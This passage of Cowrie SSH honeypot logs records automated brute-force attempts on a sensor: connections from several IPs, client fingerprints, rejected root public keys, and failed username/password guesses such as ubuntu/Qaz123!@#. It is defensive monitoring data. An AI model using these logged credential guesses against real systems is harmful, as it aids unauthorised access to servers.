98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:07:57.723538Z","src_ip":"103.15.226.202","session":"5aa3edc74440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thuyDUNG0811","message":"login attempt [root/thuyDUNG0811] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:07:58.475116Z","src_ip":"103.15.226.202","session":"5aa3edc74440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:07:59.726522Z","src_ip":"103.15.226.202","session":"5aa3edc74440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.5","src_port":48172,"dst_ip":"10.17.0.5","dst_port":22,"session":"073fde6bdc85","protocol":"ssh","message":"New connection: 185.134.49.5:48172 (10.17.0.5:22) [session: 073fde6bdc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:13.078025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:13.083560Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:13.213582Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:a1:09:80:36:74:20:40:59:bf:14:e3:47:52:60:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtHSLp7522n+836e6LOsIRNyG/dClJabo+aHoQtLd69CVpKCQX99eYcRPLTgjka5VkbnQ1BA/O/I9bz7JIbUZwj+J+VEha7/XyeUH2umdftq1J+LEwt4eFnXzo0BMR41WTUKksoV2MapHb++wBZr+UQUm/dRJ5rgNfbOQszZ20rEHiQfpyYV+UfL7ngU4GNak/C6Zkv/VAIWoCsX67rYZjYI9bi8TG9kSmryiPHuanI2XsTNluHCrs9C569E4HNWbIOU7kANZHBbW7G7yBGYo/SpFmP6IiFEwX4pJKsjmUsI8xzgTQFE4SpjEofnGrpBGm4i78lV+v5dUhHw4sBuYV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:a1:09:80:36:74:20:40:59:bf:14:e3:47:52:60:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:13.808974Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:a1:09:80:36:74:20:40:59:bf:14:e3:47:52:60:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtHSLp7522n+836e6LOsIRNyG/dClJabo+aHoQtLd69CVpKCQX99eYcRPLTgjka5VkbnQ1BA/O/I9bz7JIbUZwj+J+VEha7/XyeUH2umdftq1J+LEwt4eFnXzo0BMR41WTUKksoV2MapHb++wBZr+UQUm/dRJ5rgNfbOQszZ20rEHiQfpyYV+UfL7ngU4GNak/C6Zkv/VAIWoCsX67rYZjYI9bi8TG9kSmryiPHuanI2XsTNluHCrs9C569E4HNWbIOU7kANZHBbW7G7yBGYo/SpFmP6IiFEwX4pJKsjmUsI8xzgTQFE4SpjEofnGrpBGm4i78lV+v5dUhHw4sBuYV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:13.814546Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:16:e2:d1:90:31:d8:6f:07:41:22:eb:f5:68:95:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0uJggkWL31FeMUQ9BeNVA9/8Vhyu3wwTnVC8kTXn1pAxmLlgcuf1dpzQUtEe5GeNl4so0ELgjz9llMQDGA6/vuziFWsVzzVgM/O7EnAZEYDQXYoPzKbDJc0kF9DPnLgPWQhooz98LXXPK6ny8SMvWiM0wcSRoy8MDMRgmx94r9y6CK41EYKTmxdohOEzP881Lv5rzeThLBi/un4uHgg6vXRTx5lWck0gp5hJKSrGvf2YgJiqFKpdARoyJqD447FVwo0t9lR/iBtX1qe59enb2PrAReTThi52aJxZ+yj25BT7edA7e2dqIiIO+4CPimqq1qnP0ApJbhVNEZVXnbqxL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:16:e2:d1:90:31:d8:6f:07:41:22:eb:f5:68:95:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:13.938514Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:16:e2:d1:90:31:d8:6f:07:41:22:eb:f5:68:95:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0uJggkWL31FeMUQ9BeNVA9/8Vhyu3wwTnVC8kTXn1pAxmLlgcuf1dpzQUtEe5GeNl4so0ELgjz9llMQDGA6/vuziFWsVzzVgM/O7EnAZEYDQXYoPzKbDJc0kF9DPnLgPWQhooz98LXXPK6ny8SMvWiM0wcSRoy8MDMRgmx94r9y6CK41EYKTmxdohOEzP881Lv5rzeThLBi/un4uHgg6vXRTx5lWck0gp5hJKSrGvf2YgJiqFKpdARoyJqD447FVwo0t9lR/iBtX1qe59enb2PrAReTThi52aJxZ+yj25BT7edA7e2dqIiIO+4CPimqq1qnP0ApJbhVNEZVXnbqxL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:13.943273Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:60:c9:c9:01:09:52:a2:62:f2:3e:14:c7:6c:9a:cc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxNYsPeo8ZEDwY4bXS3zRYwRFdysOMwUSpSeaG74DCI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 60:60:c9:c9:01:09:52:a2:62:f2:3e:14:c7:6c:9a:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.071767Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:60:c9:c9:01:09:52:a2:62:f2:3e:14:c7:6c:9a:cc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxNYsPeo8ZEDwY4bXS3zRYwRFdysOMwUSpSeaG74DCI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.077349Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:df:64:f3:2a:0d:b4:03:4b:6c:4c:bc:c3:d8:d5:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4u0c5hyWXRolyto4jj/qVpoonUv/Q+aV3lZc+gvkDow+LYpDLZOgaOm8kVPH/ybG+0DhZvjRL4sYFs5UNDAMZ+NLMzc6isqyHlNY6qC1B++YzFupopvObYxmVbPpRSC/VS09v72z6B0teX079PnuTn13/TouJiHR3HDC10CqtxM/87FZ4R0KeoajzzNxec3XLPHepyfk/GpOwiY6DQRDA9fsVCt45v8GCnqvTiWAhwlvwYybBAZb/2ozjVcvn7hVpv0P341J/BFEfF5PuWGePWJksKSpunld3j0As9syOD/cb2MwUvbsSURvzjKdGXg7gwVQ8Cj823XSBwAlTWLlEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:df:64:f3:2a:0d:b4:03:4b:6c:4c:bc:c3:d8:d5:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.202416Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:df:64:f3:2a:0d:b4:03:4b:6c:4c:bc:c3:d8:d5:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4u0c5hyWXRolyto4jj/qVpoonUv/Q+aV3lZc+gvkDow+LYpDLZOgaOm8kVPH/ybG+0DhZvjRL4sYFs5UNDAMZ+NLMzc6isqyHlNY6qC1B++YzFupopvObYxmVbPpRSC/VS09v72z6B0teX079PnuTn13/TouJiHR3HDC10CqtxM/87FZ4R0KeoajzzNxec3XLPHepyfk/GpOwiY6DQRDA9fsVCt45v8GCnqvTiWAhwlvwYybBAZb/2ozjVcvn7hVpv0P341J/BFEfF5PuWGePWJksKSpunld3j0As9syOD/cb2MwUvbsSURvzjKdGXg7gwVQ8Cj823XSBwAlTWLlEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.207987Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:38:7f:a5:6b:1a:2c:77:df:b9:37:eb:a1:f1:69:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzrOAjlrQJ6F+niq3atoT0QP/3HXB7xp6MhEivS6ctYQbEGKbbQtAVcg2vVnNminLevGlAl6iNF+fTT6po6b8HJBRmZ4VMNlAwE0HgAJePpeY5lu3KIuTcmga/aeiZtxN96vfA9pjzJ6v3/4culfSBJ+GbtSe6PLKvbPf1ASNxNfKTVVnpie1k/dsx95jHtbJvgAM1rnk8ffbOh5Fpbx8/BEW9VBf8o+ORgC6j7SOZDsy3Pt+DKTL+tLu3mYS9pnKhS3aYvHFKyuKHSWUKB77BQ6oVJPWBiGE+a55LTxU2vn6nRKkPytGYCd4o46atlReF6ActQopAtvZCfQeR13UwqmMW/3iJ4WA1TPh6wP8cuv9tMyKRiPGVgw/mtkRPefY0a8u5XICxZJYvi84FWwP1r+wZXqyNyegVwvVFPDBMi5nuMYcynttofK/4BM4qtu9Jysbe9O6Db9jlGV5wS9gwYg5LqY2Li1eRGHVD8nHfapPDwHO8DLuOpQLGcrkzzU0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:38:7f:a5:6b:1a:2c:77:df:b9:37:eb:a1:f1:69:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.334021Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:38:7f:a5:6b:1a:2c:77:df:b9:37:eb:a1:f1:69:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzrOAjlrQJ6F+niq3atoT0QP/3HXB7xp6MhEivS6ctYQbEGKbbQtAVcg2vVnNminLevGlAl6iNF+fTT6po6b8HJBRmZ4VMNlAwE0HgAJePpeY5lu3KIuTcmga/aeiZtxN96vfA9pjzJ6v3/4culfSBJ+GbtSe6PLKvbPf1ASNxNfKTVVnpie1k/dsx95jHtbJvgAM1rnk8ffbOh5Fpbx8/BEW9VBf8o+ORgC6j7SOZDsy3Pt+DKTL+tLu3mYS9pnKhS3aYvHFKyuKHSWUKB77BQ6oVJPWBiGE+a55LTxU2vn6nRKkPytGYCd4o46atlReF6ActQopAtvZCfQeR13UwqmMW/3iJ4WA1TPh6wP8cuv9tMyKRiPGVgw/mtkRPefY0a8u5XICxZJYvi84FWwP1r+wZXqyNyegVwvVFPDBMi5nuMYcynttofK/4BM4qtu9Jysbe9O6Db9jlGV5wS9gwYg5LqY2Li1eRGHVD8nHfapPDwHO8DLuOpQLGcrkzzU0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.339440Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.465634Z","src_ip":"185.134.49.5","session":"073fde6bdc85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":54042,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a76e411ec42","protocol":"ssh","message":"New connection: 57.128.223.80:54042 (10.17.0.5:22) [session: 3a76e411ec42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.948415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:14.966446Z","src_ip":"57.128.223.80","session":"3a76e411ec42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:15.065934Z","src_ip":"57.128.223.80","session":"3a76e411ec42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qaz123!@#","message":"login attempt [ubuntu/Qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:15.482718Z","src_ip":"57.128.223.80","session":"3a76e411ec42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:16.592858Z","src_ip":"57.128.223.80","session":"3a76e411ec42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":32908,"dst_ip":"159.203.135.109","dst_port":22,"session":"9748e3ce5f1d","protocol":"ssh","message":"New connection: 2.57.122.208:32908 (159.203.135.109:22) [session: 9748e3ce5f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:17.338978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:17.628168Z","src_ip":"2.57.122.208","session":"9748e3ce5f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:17.631860Z","src_ip":"2.57.122.208","session":"9748e3ce5f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:18.817454Z","src_ip":"2.57.122.208","session":"9748e3ce5f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:19.954579Z","src_ip":"2.57.122.208","session":"9748e3ce5f1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.180","src_port":49824,"dst_ip":"10.17.0.5","dst_port":22,"session":"c90852f21f7b","protocol":"ssh","message":"New connection: 185.134.49.180:49824 (10.17.0.5:22) [session: c90852f21f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:22.044277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:22.049731Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:22.170236Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:a1:09:80:36:74:20:40:59:bf:14:e3:47:52:60:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtHSLp7522n+836e6LOsIRNyG/dClJabo+aHoQtLd69CVpKCQX99eYcRPLTgjka5VkbnQ1BA/O/I9bz7JIbUZwj+J+VEha7/XyeUH2umdftq1J+LEwt4eFnXzo0BMR41WTUKksoV2MapHb++wBZr+UQUm/dRJ5rgNfbOQszZ20rEHiQfpyYV+UfL7ngU4GNak/C6Zkv/VAIWoCsX67rYZjYI9bi8TG9kSmryiPHuanI2XsTNluHCrs9C569E4HNWbIOU7kANZHBbW7G7yBGYo/SpFmP6IiFEwX4pJKsjmUsI8xzgTQFE4SpjEofnGrpBGm4i78lV+v5dUhHw4sBuYV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:a1:09:80:36:74:20:40:59:bf:14:e3:47:52:60:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:22.745628Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:a1:09:80:36:74:20:40:59:bf:14:e3:47:52:60:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtHSLp7522n+836e6LOsIRNyG/dClJabo+aHoQtLd69CVpKCQX99eYcRPLTgjka5VkbnQ1BA/O/I9bz7JIbUZwj+J+VEha7/XyeUH2umdftq1J+LEwt4eFnXzo0BMR41WTUKksoV2MapHb++wBZr+UQUm/dRJ5rgNfbOQszZ20rEHiQfpyYV+UfL7ngU4GNak/C6Zkv/VAIWoCsX67rYZjYI9bi8TG9kSmryiPHuanI2XsTNluHCrs9C569E4HNWbIOU7kANZHBbW7G7yBGYo/SpFmP6IiFEwX4pJKsjmUsI8xzgTQFE4SpjEofnGrpBGm4i78lV+v5dUhHw4sBuYV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:22.749866Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
